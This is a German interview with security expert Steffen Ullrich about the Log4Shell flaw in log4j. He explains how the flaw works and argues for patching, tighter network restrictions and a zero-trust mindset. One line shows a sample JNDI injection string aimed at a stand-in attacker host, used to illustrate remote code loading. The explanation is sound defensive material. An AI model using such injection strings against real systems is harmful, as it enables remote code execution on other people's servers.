"Der vielleicht wichtigste Punkt ist ein Mentalitätswechsel in der IT"

Herr Ullrich, was unterscheidet die Log4shell-Attacken von anderen Angriffsszenarien? 

Steffen Ullrich: Das Ursache-Wirkungs-Verhältnis erreicht hier ein neues Ausmaß. Ein einfach auszunutzender Fehler in einer unscheinbaren Komponente führt innerhalb weniger Tage zu einer globalen Ausbreitung von Cyber-Angriffen, quasi ein „perfekter Sturm“ zugunsten der Hacker. Dazu kommt eine schwer einzuschätzende Angriffsfläche zusammen in Verbindung mit einem gewachsenes Ökosystem an Software, welche mehr oder weniger gut gepflegt ist.

Die Lücke kann durch eine einfache Log-Meldung ausgenutzt werden, bei der der Angreifer einen Teil der Meldung kontrolliert. Das ist sehr häufig der Fall, d. h. z. B. das Logging von Nutzernamen, Browserversionen, Kommandos ... Die Erwartung eines Softwareentwicklers ist hier ganz klar, dass ein einfaches Logging dieser Daten keine kritischen Nebeneffekte haben darf. Diese Erwartung wurde von log4j leider nicht erfüllt. Stattdessen kann durch einfache Meldungen wie

 ${jndi:ldap://attacker.example/a}

den Download eines Java-Objekts von dem angegeben Server bewirken. Die anschließende Instanziierung des Objekts führt dann zu der Ausführung des  vom Angreifer gelieferten Codes.

Derartige Log-Meldungen können vom Angreifer auf verschiedene Weise bewirkt werden. Entsprechende Informationen können direkt in  Web-Anfragen enthalten sein, aber auch über Mails, Chat, Datenbankabfragen o. ä. transportiert werden. Das macht eine Beurteilung der Angriffsfläche und darauf aufbauend eine zuverlässige Abwehr der Angriffe schwierig. Dazu bietet log4j eine Vielfalt an Möglichkeiten die Angriffe zu verschleiern, sodass ein Angreifer sich an klassischen Signature-basierten Intrusion Detection Systemen und Web Application Firewalls, aber auch an der nachträglichen Analyse von Logdaten vorbei schummeln kann.

Nun sind erneut Systeme und Anwendungen betroffen, die als sicher galten …

Steffen Ullrich: Das sich vermeintlich sichere Systeme als verwundbar erweisen, halte ich für wenig überraschend. Software und Infrastrukturen werden immer komplexer, was zum Einen neue Angriffsflächen schafft sowie gleichzeitig eine solide Analyse und darauf aufbauende Absicherung schwieriger gestaltet.

Dieses geht seit langem einher mit einem Trend zu möglichst großer Flexibilität, egal ob sie tatsächlich benötigt wird oder nicht. Dabei bietet eine hohe Flexibilität zwar mehr geplante Möglichkeiten für einen Anwender, aber typischerweise auch deutlich mehr ungeplante Wege für einen Angreifer. Es ist wie mit einem Eisberg – man sieht nur einen kleinen Teil: die Möglichkeiten und nicht die Gefahren.

Die aktuelle Sicherheitslücke in log4j ist dafür ein gutes Beispiel. Die flexible Architektur und die mächtigen Möglichkeiten zur String-Expansion innerhalb von Log-Meldungen gehen weit über das nötige und vom Entwickler erwarte hinaus. Hervorzuheben ist dabei die Einbettung des mächtigen und flexiblen Java Naming and Directory Interface (JNDI), welches ermöglicht, beliebige Java-Objekte von externen System nachzuladen und zu instanzieren. Ergänzt wird dies um eine weitere Mächtigkeit und Flexibilität von Java, die ein Nachladen der Implementation der Objektklasse ebenfalls von einem externen System ermöglicht. 

Derartige Designentscheidungen mit Fokus auf Flexibilität ermöglichen eine schnellere Softwareentwicklung, aber gefährden klar die Sicherheit. Damit sind sie höchstens tauglich für klar vertrauenswürdige Umgebungen, aber definitiv nicht für eine Anbindung an das Internet. Diese unsicheren Designs haben bereits in der Vergangenheit Probleme bereitet, bereiten in Log4Shell aktuell Probleme und werden uns ziemlich sicher in Zukunft in weiteren Sicherheitslücken begegnen.

Den Fokus auf Flexibilität sehen wir aber auch in Netzinfrastrukturen. Anwendungen werden in ihrer Kommunikation kaum begrenzt, oftmals auch weil nicht klar ist, was eigentlich erlaubte Kommunikation darstellt. Dabei würde eine klare Restriktion der Kommunikation auf das Nötige im Falle von Log4Shell zwar nicht die Lücke an sich beseitigen, aber deren Ausnutzbarkeit verhindern.

Warum ist das riskant?

Steffen Ullrich: Hohe Flexibilität von Software erhöht signifikant deren Angriffsfläche. Unzureichende Restriktionen in Netzen wiederum machen implizit diese große Angriffsfläche einem Angreifer zugänglich.  Damit zwingt es IT-Verantwortliche dazu, bei neu bekanntwerdenden Lücken reaktiv und aktionistisch zu handeln.  Passende und möglichst enge Restriktionen hingegen bieten eine proaktive Mitigation, selbst wenn die Lücke noch nicht bekannt ist. Dieses bringt nicht nur mehr Sicherheit, sondern auch mehr Entspannung und Planbarkeit in den Betrieb der Infrastruktur.

Was sollten IT-Security-Verantwortliche stattdessen tun? 

Steffen Ullrich: Im aktuellen Fall in erster Linie natürlich sämtliche betroffene Software identifizieren und patchen bzw. die Lücke durch die öffentlich dokumentierten Methoden mitigieren.

Als Entwickler bzw. Betreiber sollte man sicherstellen, dass die Erwartungen an die Software tatsächlich zu den Designentscheidungen in der Software passen. Denn bei Log4Shell handelt es sich nicht etwa um einen unabsichtlichen Bug, sondern um eine klare Designentscheidung, welche allerdings nicht zu den Erwartungen der Nutzer und zu den Einsatzzwecken passte.

Der dritte und vielleicht wichtigste Punkt ist aber ein Mentalitätswechsel in der IT- und IT-Security-Organisation: Davon ausgehen, dass Software unsicher ist und proaktiv begrenzen, welcher Schaden angerichtet werden kann. Dazu gehört die Kommunikationsmöglichkeiten der Software auf das nötige zu begrenzen, z. B. durch Zero-Trust-Konzepte wie Mikrosegmentierung oder eine  Netzsegmentierung und Perimeterkontrolle mit Firewalls.

Hinweis der Redaktion:

In unseren Produkten wird die log4j Library nicht verwendet, der Einsatz von genua-Lösungen ist damit sicher. Unsere Kunden wurden zeitnah nach Bekanntwerden des Vorfalls dazu informiert.